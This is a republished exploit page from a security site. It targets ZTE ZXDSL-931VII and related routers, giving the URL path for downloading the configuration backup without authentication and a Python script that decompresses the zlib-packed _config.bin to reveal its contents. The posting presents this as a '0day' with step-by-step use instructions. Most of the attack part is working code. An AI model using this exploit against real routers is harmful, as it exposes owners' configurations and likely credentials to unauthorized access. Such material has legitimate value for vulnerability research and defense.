首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ZTE ZXDSL-931VII - Unauthenticated Configuration Dump
来源:l0ukanik0s@hotmail.com 作者:S0kniaku0l 发布时间:2014-10-21  
# Exploit Title: ZTE ZXDSL-931VII Unauthenticated Configuration Dump
# Google Dork: use your imagination 
# Date: 09-12-2014
# Exploit Author: L0ukanik0sGR
# Vendor Homepage: www.zte.com.cn
# Software Link: https://www.ote.gr/web/guest/help-and-support/internet/vdsl/-/support/article/870213%3Bjsessionid=01605E58A483CF54BB0E95208F531764.node3_1_OTEGR?! original firmware for that device could not be found but it works to all zte devices with custom ISP firmware :)
# Version: 931vii,w300 and all zte products running that firmware
# Tested on: linux other os compatible
# CVE : None yet it's a 0day
  
  
ZTE ZXDSL-931VII Unauthenticated Configuration Dump
  
Unauthenticated Configuration File Download and
Decompression of the _config.bin file 
by L0ukanik0s,GR 2014,l0ukanik0s@hotmail.com
  
  
Exploit PoC:
  
1. Go to http://router-ip/ manager_dev_config_t.gch
  
2. 
Click on 'Backup Configuration' and obtain the _config.bin
  
3. 
Download python script from http://pastebin.com/i6dfsL5D
  
4. 
Then compile and run zte-0day.py (root@l0ukanik0s:~# python zte-0day.py)
  
5. 
Insert the path of the _config.bin file hit 'ENTER'
  
6. 
Enjoy your configuration dump
  
  
  
  
  
  
#!/usr/bin/env python
import zlib
#scripte originated from http://reverseengineering.stackexchange.com/questions/3593/re-compressed-backup-file-router-linux-based-so-is-it-compresed-with-zlib
print "################################################"
print "#       THe W0lf is so close                   #"
print "# ZTE 931Vii Router configuration unpacker     #"
print "#       Find configuration file @              #"
print "#  http://192.168.1.1/manager_dev_config_t.gch #"
print "#      L0ukanik0s 2014 Hack-Hosting            #"
print "#        l0ukanik0s@hotmail.com                #"
print "################################################"
   
print "Enter your config.bin path: e.g root@l0ukanik0s:~#/Desktop/931router_config.bin"
configfile = raw_input("File Path :").strip()
   
magic_numbers = ['\x78\xDA']
filename = configfile
   
   
infile = open(filename, 'r')
data = infile.read()
   
   
pos = 0
found = False
   
   
while pos < len(data):
        window = data[pos:pos+2]
        for marker in magic_numbers:
                if window == marker:
                        found = True
                        start = pos
                        print "Start of zlib %s" % pos
                        rest_of_data = data[start:]
                        decomp_obj = zlib.decompressobj()
                        uncompressed_msg = decomp_obj.decompress(rest_of_data)                 
                        print "Configuration of ZTE 931 File Content: %s" % uncompressed_msg
                        break
        if pos == len(data):
                break
        pos += 1
   
   
if found:
        header = data[:start]
        footer = decomp_obj.unused_data
   
   
if not found:
        print "Sorry, no zlib found."




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Drupal HTTP Parameter Key/Valu
·Windows OLE Package Manager Sa
·Linux PolicyKit Race Condition
·Numara / BMC Track-It! FileSto
·MS14-060 Microsoft Windows OLE
·Joomla Akeeba Kickstart Unseri
·Fonality Trixbox CE 2.8.0.4 Co
·HP Data Protector EXEC_INTEGUT
·NETIS DL4322D Multiple Vulnera
·Incredible PBX 11 2.0.6.5.0 Re
·Wordpress Theme Dazzling Shell
·DotNetNuke DNNspot Store 3.0.0
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved